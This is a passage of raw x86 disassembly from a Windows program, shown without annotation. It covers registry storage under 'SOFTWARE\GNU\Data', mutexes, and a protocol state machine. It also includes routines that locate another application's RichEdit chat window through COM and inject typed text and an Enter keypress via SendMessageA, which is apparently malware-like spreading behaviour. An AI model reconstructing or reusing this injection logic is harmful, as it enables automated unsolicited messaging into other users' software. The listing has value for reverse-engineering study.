		call	ds:dword_429020	; RegSetValueExA

loc_409347:				; CODE XREF: sub_40925E+90j
		lea	eax, [ebp+var_C]
		call	sub_40D8F7
		leave
		retn
sub_40925E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409351	proc near		; CODE XREF: sub_4027E5+14p
					; sub_4027E5+51p ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	80000001h
		lea	esi, [ebp+var_14]
		xor	edi, edi
		call	sub_40D8DC
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1]
		push	eax
		push	edi
		mov	eax, esi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_40DB1B
		mov	esi, 103h
		jmp	short loc_40939B
; ---------------------------------------------------------------------------

loc_409388:				; CODE XREF: sub_409351+4Cj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1]
		push	eax
		inc	edi
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40DB1B

loc_40939B:				; CODE XREF: sub_409351+35j
		cmp	eax, esi
		jnz	short loc_409388
		lea	eax, [ebp+var_14]
		call	sub_40D8F7
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_409351	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093AD	proc near		; CODE XREF: sub_408F96+Cp

var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		lea	eax, [ebp+var_10C]
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_10C]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C350
		mov	ecx, 0FFh
		sub	ecx, eax
		push	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CC80
		add	esp, 20h
		lea	eax, [ebp+var_10C]
		push	eax
		xor	esi, esi
		push	80000001h
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], esi
		call	sub_40DAEF
		test	eax, eax
		jnz	short loc_409424
		inc	esi

loc_409424:				; CODE XREF: sub_4093AD+74j
		lea	eax, [ebp+var_C]
		call	sub_40D8F7
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4093AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409431	proc near		; CODE XREF: .text:0040BBBDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_429120	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	[esi+110h], eax
		mov	eax, [ebp+var_4]
		mov	[esi+114h], eax
		leave
		retn
sub_409431	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409454	proc near		; CODE XREF: sub_408CB7+25p
					; sub_408F96+35p ...

var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	107h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		mov	word ptr [edi],	8
		call	sub_41C5A0
		lea	eax, [ebp+var_108]
		push	3Ah
		push	eax
		call	sub_41C3F0
		mov	esi, eax
		lea	eax, [ebp+var_108]
		sub	esi, eax
		add	esp, 14h
		test	esi, esi
		jle	short loc_4094BA
		push	eax
		call	sub_41C350
		cmp	esi, eax
		pop	ecx
		jnb	short loc_4094B2
		lea	eax, [ebp+esi+var_107]
		push	eax
		call	sub_41D59C
		pop	ecx
		mov	[edi], ax

loc_4094B2:				; CODE XREF: sub_409454+4Bj
		mov	[ebp+esi+var_108], 0

loc_4094BA:				; CODE XREF: sub_409454+40j
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	[ebp+arg_4]
		call	sub_41C5A0
		add	esp, 0Ch
		pop	esi
		leave
		retn
sub_409454	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094D4	proc near		; CODE XREF: sub_402920+15Ap
					; sub_408F96+8Ap ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, eax
		push	esi
		push	0
		push	edi
		call	sub_41C6D0
		lea	eax, [esi-1]
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C5A0
		push	edi
		call	sub_41C350
		mov	ecx, esi
		sub	ecx, eax
		dec	ecx
		push	ecx
		push	offset asc_43015C ; ":"
		push	edi
		call	sub_41CC80
		push	edi
		call	sub_41C350
		add	esp, 2Ch
		sub	esi, eax
		dec	esi
		push	esi
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_421A02
		add	esp, 0Ch
		push	eax
		push	edi
		call	sub_41CC80
		add	esp, 0Ch
		mov	eax, edi
		pop	esi
		leave
		retn
sub_4094D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409538	proc near		; CODE XREF: sub_4095A8+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		jz	short loc_40959C
		cmp	[ebp+arg_4], ebx
		jz	short loc_40959C
		call	ds:off_434144
		mov	esi, ds:dword_429124
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		push	ebx
		push	eax
		call	esi	; MultiByteToWideChar
		cmp	[ebp+arg_4], 0FFFFFFFFh
		mov	edi, eax
		jnz	short loc_409572
		lea	eax, [edi-1]

loc_409572:				; CODE XREF: sub_409538+35j
		push	eax
		push	ebx
		call	ds:dword_4291C4
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_4095A3
		push	edi
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+var_8]
		call	esi	; MultiByteToWideChar
		cmp	eax, edi
		jz	short loc_4095A3
		push	[ebp+var_4]
		call	ds:dword_4291D4

loc_40959C:				; CODE XREF: sub_409538+Dj
					; sub_409538+12j
		xor	eax, eax

loc_40959E:				; CODE XREF: sub_409538+6Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4095A3:				; CODE XREF: sub_409538+47j
					; sub_409538+59j
		mov	eax, [ebp+var_4]
		jmp	short loc_40959E
sub_409538	endp


; =============== S U B	R O U T	I N E =======================================



sub_4095A8	proc near		; CODE XREF: sub_4095D4+41p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short loc_4095CC
		push	0FFFFFFFFh
		push	[esp+4+arg_0]
		call	sub_409538
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_4095CF
		push	8007000Eh
		call	sub_405FCD

loc_4095CC:				; CODE XREF: sub_4095A8+5j
		and	dword ptr [esi], 0

loc_4095CF:				; CODE XREF: sub_4095A8+18j
		mov	eax, esi
		retn	4
sub_4095A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4095D4	proc near		; CODE XREF: sub_4098F3+9Bp
					; sub_40F60E+2Fp
		mov	eax, offset loc_427A5B
		call	sub_41E550
		sub	esp, 0A8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		call	ds:dword_4292F4
		lea	eax, [ebp-24h]
		push	eax
		push	offset dword_429330
		push	4
		push	ebx
		push	offset dword_4293E0
		call	ds:dword_4292F8
		test	eax, eax
		jl	loc_409714
		push	dword ptr [ebp+8]
		lea	esi, [ebp-1Ch]
		call	sub_4095A8
		mov	[ebp-4], ebx
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-20h]
		push	edx
		mov	[ebp-2Ch], eax
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	word ptr [ebp-34h], 8
		mov	edi, esp
		lea	esi, [ebp-34h]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+54h]
		test	eax, eax
		jl	loc_409702
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-14h]
		push	edx
		push	offset dword_429310
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		lea	edx, [ebp-10h]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		push	80h
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_429264	; GetWindowTextA
		mov	esi, ds:dword_42925C
		push	ebx
		mov	eax, offset aRichedit20w ; "RichEdit20W"
		push	eax
		push	ebx
		push	eax
		push	ebx
		push	dword ptr [ebp-10h]
		call	esi	; FindWindowExA
		push	eax
		push	dword ptr [ebp-10h]
		call	esi	; FindWindowExA
		cmp	eax, ebx
		mov	[ebp-18h], eax
		jz	short loc_4096EB
		push	dword ptr [ebp+0Ch]
		xor	edi, edi
		call	sub_41C350
		test	eax, eax
		mov	esi, ds:dword_429260
		pop	ecx
		jbe	short loc_4096DE

loc_4096BD:				; CODE XREF: sub_4095D4+108j
		mov	eax, [ebp+0Ch]
		movsx	eax, byte ptr [edi+eax]
		push	ebx
		push	eax
		push	102h
		push	dword ptr [ebp-18h]
		call	esi	; SendMessageA
		push	dword ptr [ebp+0Ch]
		inc	edi
		call	sub_41C350
		cmp	edi, eax
		pop	ecx
		jb	short loc_4096BD

loc_4096DE:				; CODE XREF: sub_4095D4+E7j
		push	ebx
		push	0Dh
		push	100h
		push	dword ptr [ebp-18h]
		call	esi	; SendMessageA

loc_4096EB:				; CODE XREF: sub_4095D4+D2j
		cmp	[ebp+10h], ebx
		jz	short loc_4096F9
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]

loc_4096F9:				; CODE XREF: sub_4095D4+11Aj
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_409702:				; CODE XREF: sub_4095D4+70j
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	dword ptr [ebp-1Ch]
		call	ds:dword_4291D4

loc_409714:				; CODE XREF: sub_4095D4+35j
		call	ds:dword_4292FC
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_4095D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_409729	proc near		; CODE XREF: sub_4098F3+15p
		mov	eax, offset loc_427D6E
		call	sub_41E550
		sub	esp, 4Ch
		push	ebx
		xor	ebx, ebx
		mov	[ebp-2Ch], ebx
		push	esi
		mov	[ebp-38h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-30h], ebx
		push	ebx
		mov	[ebp-4], ebx
		call	ds:dword_4292F4
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_429330
		push	4
		push	ebx
		push	offset dword_4293E0
		call	ds:dword_4292F8
		test	eax, eax
		jl	loc_409894
		mov	eax, [ebp-2Ch]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp-10h]
		push	edx
		push	eax
		call	dword ptr [ecx+68h]
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-24h]
		push	edx
		push	offset dword_429380
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp-24h]
		lea	edx, [ebp-20h]
		push	edx
		mov	[ebp-20h], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		xor	edi, edi
		cmp	[ebp-20h], ebx
		jbe	loc_40988A

loc_4097B2:				; CODE XREF: sub_409729+15Bj
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		lea	edx, [ebp-10h]
		push	edx
		push	edi
		push	eax
		call	dword ptr [ecx+20h]
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-28h]
		push	edx
		push	offset dword_429370
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	[ebp-1Ch], ebx
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-28h]
		mov	ecx, [eax]
		lea	edx, [ebp-1Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		mov	eax, [ebp-28h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	dword ptr [ebp-1Ch]
		call	sub_41B760
		mov	[ebp-18h], eax
		lea	eax, [ebp-3Ch]
		mov	[ebp-14h], ebx
		call	sub_4018AC
		test	eax, eax
		jbe	short loc_409845
		mov	esi, [ebp-38h]
		add	esi, 4

loc_409817:				; CODE XREF: sub_409729+11Aj
		cmp	dword ptr [esi+14h], 10h
		jb	short loc_409821
		mov	eax, [esi]
		jmp	short loc_409823
; ---------------------------------------------------------------------------

loc_409821:				; CODE XREF: sub_409729+F2j
		mov	eax, esi

loc_409823:				; CODE XREF: sub_409729+F6j
		push	eax
		push	dword ptr [ebp-18h]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40986B
		inc	dword ptr [ebp-14h]
		lea	eax, [ebp-3Ch]
		add	esi, 1Ch
		call	sub_4018AC
		cmp	[ebp-14h], eax
		jb	short loc_409817

loc_409845:				; CODE XREF: sub_409729+E6j
		push	dword ptr [ebp-18h]
		lea	ecx, [ebp-58h]
		call	sub_401818
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-3Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_4018C2
		push	ebx
		push	1
		lea	ecx, [ebp-58h]
		call	sub_4019B1

loc_40986B:				; CODE XREF: sub_409729+107j
		push	dword ptr [ebp-18h]
		call	sub_41CA28
		pop	ecx
		mov	[ebp-4], bl
		push	dword ptr [ebp-1Ch]
		call	ds:dword_4291D4
		inc	edi
		cmp	edi, [ebp-20h]
		jb	loc_4097B2

loc_40988A:				; CODE XREF: sub_409729+83j
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		pop	edi

loc_409894:				; CODE XREF: sub_409729+40j
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-3Ch]
		call	sub_401844
		lea	esi, [ebp-3Ch]
		call	sub_401A89
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_409729	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098B8	proc near		; CODE XREF: sub_4099C8+17p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, eax
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		push	200h
		push	[esp+8+arg_0]
		lea	eax, [esi+10h]
		push	eax
		mov	dword ptr [esi], offset	off_4304E8
		call	sub_41C5A0
		mov	eax, [esp+10h+arg_4]
		add	esp, 0Ch
		mov	[esi+210h], eax
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn	8
sub_4098B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098F3	proc near		; DATA XREF: .text:off_4304E8o
		mov	eax, offset loc_427F24
		call	sub_41E550
		sub	esp, 28h
		push	esi
		push	edi
		lea	eax, [ebp-34h]
		push	eax
		mov	edi, ecx
		call	sub_409729
		pop	ecx
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-14h], 0
		lea	eax, [ebp-34h]
		call	sub_4018AC
		test	eax, eax
		jbe	loc_4099B2
		mov	eax, [ebp-30h]
		add	eax, 4
		push	ebx
		mov	ebx, ds:dword_429084
		mov	[ebp-10h], eax
		mov	esi, offset dword_438140

loc_40993B:				; CODE XREF: sub_4098F3+BCj
		mov	eax, esi
		call	sub_416B68
		mov	ecx, [edi+210h]
		mov	[ebp-1Ch], eax
		xor	eax, eax
		cmp	edx, eax
		ja	short loc_40997C
		jb	short loc_409958
		cmp	[ebp-1Ch], ecx
		jnb	short loc_40997C

loc_409958:				; CODE XREF: sub_4098F3+5Ej
					; sub_4098F3+80j ...
		push	3E8h
		call	ebx	; Sleep
		mov	eax, esi
		call	sub_416B68
		mov	ecx, [edi+210h]
		mov	[ebp-24h], eax
		xor	eax, eax
		cmp	edx, eax
		jb	short loc_409958
		ja	short loc_40997C
		cmp	[ebp-24h], ecx
		jb	short loc_409958

loc_40997C:				; CODE XREF: sub_4098F3+5Cj
					; sub_4098F3+63j ...
		mov	ecx, [ebp-10h]
		cmp	dword ptr [ecx+14h], 10h
		jb	short loc_409987
		mov	ecx, [ecx]

loc_409987:				; CODE XREF: sub_4098F3+90j
		push	1
		lea	eax, [edi+10h]
		push	eax
		push	ecx
		call	sub_4095D4
		add	esp, 0Ch
		push	1388h
		call	ebx	; Sleep
		inc	dword ptr [ebp-14h]
		add	dword ptr [ebp-10h], 1Ch
		lea	eax, [ebp-34h]
		call	sub_4018AC
		cmp	[ebp-14h], eax
		jb	short loc_40993B
		pop	ebx

loc_4099B2:				; CODE XREF: sub_4098F3+2Dj
		lea	esi, [ebp-34h]
		call	sub_401A89
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4099C8	proc near		; CODE XREF: sub_40F661+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	214h
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short locret_4099E4
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4098B8

locret_4099E4:				; CODE XREF: sub_4099C8+Dj
		retn
sub_4099C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4099E5	proc near		; CODE XREF: sub_407D47+13p
					; sub_40A355+1Cp ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	ds:dword_429134	; CreateMutexA
		mov	[esi], eax
		mov	eax, esi
		retn
sub_4099E5	endp

; ---------------------------------------------------------------------------

loc_4099F5:				; CODE XREF: .text:0042791Fj
					; .text:00427BCEj ...
		push	dword ptr [eax]
		call	ds:dword_4290F0	; CloseHandle
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4099FE	proc near		; CODE XREF: sub_40466F+1p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_429080	; InitializeCriticalSection
		mov	eax, [esp+arg_0]
		retn	4
sub_4099FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A0F	proc near		; CODE XREF: sub_40A355+Bp

arg_0		= byte ptr  4

		push	esi
		push	edi
		lea	eax, [ebx+8]
		mov	dword ptr [ebx], offset	off_430500
		call	sub_414E89
		lea	esi, [ebx+2Ch]
		call	sub_414878
		lea	eax, [ebx+7C8h]
		xor	ecx, ecx
		mov	edi, 800h
		lea	esi, [ebx+8]
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		call	sub_414EC6
		lea	eax, [ebx+2Ch]
		push	eax
		call	sub_414ACD
		mov	al, [esp+8+arg_0]
		mov	[ebx+7B4h], al
		xor	eax, eax
		pop	edi
		mov	[ebx+7B8h], eax
		mov	[ebx+7BCh], eax
		mov	[ebx+5A0h], eax
		mov	[ebx+7C4h], eax
		mov	eax, ebx
		pop	esi
		retn	4
sub_409A0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A78	proc near		; CODE XREF: sub_40C5D0+Fp
		cmp	dword ptr [edi+7BCh], 0
		mov	dword ptr [edi], offset	off_430500
		jnz	short locret_409A9B
		push	esi
		lea	esi, [edi+8]
		call	sub_414EA3
		push	3
		lea	eax, [edi+2Ch]
		call	sub_414D44
		pop	esi

locret_409A9B:				; CODE XREF: sub_409A78+Dj
		retn
sub_409A78	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A9C	proc near		; CODE XREF: .text:0040BC1Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		mov	[edi+5A4h], eax
		mov	[edi+7B4h], cl
		push	ebx
		push	esi
		mov	[edi+14h], eax
		mov	[edi+18h], eax
		mov	[edi+20h], eax
		mov	[edi+24h], eax
		mov	[edi+28h], eax
		mov	[edi+0Ch], eax
		lea	esi, [edi+2Ch]
		mov	[esi], eax
		mov	[esi+22Ch], eax
		push	1
		mov	eax, esi
		call	sub_414D44
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	10h
		pop	ebx
		call	sub_414AE0
		push	[esp+8+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, esi
		call	sub_414A81
		xor	eax, eax
		pop	esi
		mov	[edi+5A0h], eax
		mov	[edi+7ACh], eax
		mov	[edi+7B8h], eax
		mov	[edi+7C4h], eax
		pop	ebx
		retn	8
sub_409A9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: sub_409BDA:loc_409C3Cp
					; sub_409BDA+3F6p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		push	2
		lea	eax, [esi+2Ch]
		call	sub_414DBA
		mov	eax, [esp+4+arg_0]
		mov	[esi+5A0h], eax
		mov	dword ptr [esi+7C4h], 1
		mov	dword ptr [esi+7D0h], 1388h
		add	esi, 7C8h
		call	sub_416B0E
		pop	esi
		retn	4
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B4C	proc near		; CODE XREF: sub_40C4F9+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax+2Ch]
		mov	[eax+7B8h], ecx
		push	3
		mov	eax, edi
		mov	[ebp+var_4], edi
		call	sub_414D44
		mov	esi, [ebp+arg_4]
		mov	ecx, 15Dh
		push	21h
		rep movsd
		mov	esi, [ebp+var_4]
		pop	ebx
		call	sub_414AE0
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebx+8]
		mov	esi, edi
		call	sub_414EA3
		mov	esi, [ebp+arg_8]
		push	9
		pop	ecx
		rep movsd
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jnz	short loc_409BCD
		push	2
		pop	edx
		lea	eax, [ebx+8]
		mov	[ebx+5A4h], edi
		call	sub_414FF1
		lea	esi, [ebx+7C8h]
		mov	dword ptr [ebx+7D0h], 3A98h
		call	sub_416B0E
		and	dword ptr [ebx+7ACh], 0

loc_409BCD:				; CODE XREF: sub_409B4C+52j
		mov	[ebx+7BCh], edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_409B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BDA	proc near		; CODE XREF: sub_40C4D1+1Ep

var_EC0		= byte ptr -0EC0h
var_ABC		= byte ptr -0ABCh
var_6B8		= byte ptr -6B8h
var_48C		= byte ptr -48Ch
var_460		= byte ptr -460h
var_260		= byte ptr -260h
var_25F		= byte ptr -25Fh
var_25E		= byte ptr -25Eh
var_25D		= byte ptr -25Dh
var_23D		= byte ptr -23Dh
var_60		= byte ptr -60h
var_40		= dword	ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_18		= dword	ptr  20h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 0EC0h
		test	[ebp+arg_4], 20h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		jnz	loc_40A27A
		xor	esi, esi
		cmp	[ebx+7C4h], esi
		jz	short loc_409C10
		lea	eax, [ebx+7C8h]
		call	sub_416B46
		test	eax, eax
		jnz	loc_40A27A

loc_409C10:				; CODE XREF: sub_409BDA+21j
		cmp	dword ptr [ebx+5A4h], 6
		jz	short loc_409C46
		lea	eax, [ebx+7C8h]
		call	sub_416B46
		test	eax, eax
		jz	short loc_409C46
		cmp	[ebx+5A4h], esi
		jz	short loc_409C46
		cmp	[ebx+7C4h], esi
		jnz	short loc_409C46
		push	9

loc_409C3A:				; CODE XREF: sub_409BDA+1C6j
					; sub_409BDA+1EFj ...
		mov	eax, ebx

loc_409C3C:				; CODE XREF: sub_409BDA+333j
		call	sub_409B12
		jmp	loc_40A275
; ---------------------------------------------------------------------------

loc_409C46:				; CODE XREF: sub_409BDA+3Dj
					; sub_409BDA+4Cj ...
		mov	ecx, [ebx+5A4h]
		cmp	ecx, 6
		jz	loc_40A261
		mov	eax, [ebx+7B8h]
		cmp	eax, esi
		jnz	loc_409F12
		test	[ebp+arg_4], 10h
		jz	loc_409D13
		cmp	ecx, esi
		jnz	loc_409D13
		cmp	[ebp+arg_18], esi
		jnz	loc_409CFE
		mov	ecx, ds:dword_435F80
		lea	eax, [ebx+7B0h]
		push	2
		lea	edi, [ebx+2Ch]
		push	eax
		mov	[eax], cl
		mov	[eax+1], ch
		call	sub_414C2D
		mov	eax, ds:dword_435F80
		add	eax, 7
		shr	eax, 3
		mov	ecx, offset dword_436184
		push	eax
		sub	ecx, eax
		push	ecx
		call	sub_414C2D
		mov	[ebx+5A8h], esi
		mov	dword ptr [ebx+5A4h], 3
		mov	edx, ds:dword_435F80
		add	edx, 7
		shr	edx, 3
		lea	eax, [ebx+8]
		call	sub_414FF1
		push	21h
		pop	ebx
		mov	esi, edi
		call	sub_414AE0
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+7C8h]
		mov	dword ptr [eax+7D0h], 3A98h
		call	sub_416B0E
		mov	ebx, [ebp+arg_0]
		jmp	short loc_409D13
; ---------------------------------------------------------------------------

loc_409CFE:				; CODE XREF: sub_409BDA+9Ej
		cmp	[ebp+arg_18], 274Ch
		mov	eax, [ebx]
		mov	ecx, ebx
		jnz	short loc_409D0F
		push	1
		jmp	short loc_409D11
; ---------------------------------------------------------------------------

loc_409D0F:				; CODE XREF: sub_409BDA+12Fj
		push	2

loc_409D11:				; CODE XREF: sub_409BDA+133j
		call	dword ptr [eax]

loc_409D13:				; CODE XREF: sub_409BDA+8Dj
					; sub_409BDA+95j ...
		test	[ebp+arg_4], 1
		jz	loc_40A275
		lea	esi, [ebx+7C8h]
		call	sub_416B0E
		mov	eax, [ebx+5A4h]
		cmp	eax, 3
		jnz	loc_409E7F
		lea	eax, [ebx+2Ch]
		lea	esi, [ebx+8]
		push	eax
		mov	edi, esi
		call	sub_414EDD
		test	eax, eax
		jle	loc_40A275
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	[ebp+arg_0], eax
		lea	edi, [ebx+5A8h]
		call	sub_415008
		push	dword ptr [esi]
		mov	esi, eax
		mov	eax, edi
		call	sub_40D6E6
		cmp	[ebp+arg_0], 0
		jz	loc_40A275
		push	dword ptr [edi]
		lea	eax, [ebx+5ACh]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		mov	eax, offset dword_436388
		call	sub_41907F
		add	esp, 10h
		test	eax, eax
		jz	short loc_409DA5
		push	3
		jmp	loc_409C3A
; ---------------------------------------------------------------------------

loc_409DA5:				; CODE XREF: sub_409BDA+1C2j
		movzx	ax, [ebp+var_25F]
		movzx	cx, [ebp+var_260]
		mov	esi, [ebp+arg_0]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, ax
		add	ecx, 3
		cmp	ecx, esi
		jb	short loc_409DCE
		push	5
		jmp	loc_409C3A
; ---------------------------------------------------------------------------

loc_409DCE:				; CODE XREF: sub_409BDA+1EBj
		cmp	ax, 20h
		jz	short loc_409DDB
		push	8
		jmp	loc_409C3A
; ---------------------------------------------------------------------------

loc_409DDB:				; CODE XREF: sub_409BDA+1F8j
		lea	eax, [esi-22h]
		push	eax
		call	sub_41BAB5
		mov	edi, eax
		lea	eax, [esi-23h]
		push	eax
		lea	eax, [ebp+var_23D]
		push	eax
		push	edi
		call	sub_41BC60
		push	offset aTest4	; "Test4"
		push	edi
		mov	byte ptr [edi+esi-23h],	0
		call	sub_41C730
		add	esp, 18h
		test	eax, eax
		push	edi
		jz	short loc_409E1C
		call	sub_41CA28
		pop	ecx
		push	7
		jmp	loc_409C3A
; ---------------------------------------------------------------------------

loc_409E1C:				; CODE XREF: sub_409BDA+233j
		call	sub_41CA28
		pop	ecx
		lea	edi, [ebp+var_48C]
		call	sub_404CB9
		push	20h
		lea	eax, [ebp+var_25D]
		push	eax
		mov	esi, edi
		call	sub_404D1E
		sub	esp, 22Ch
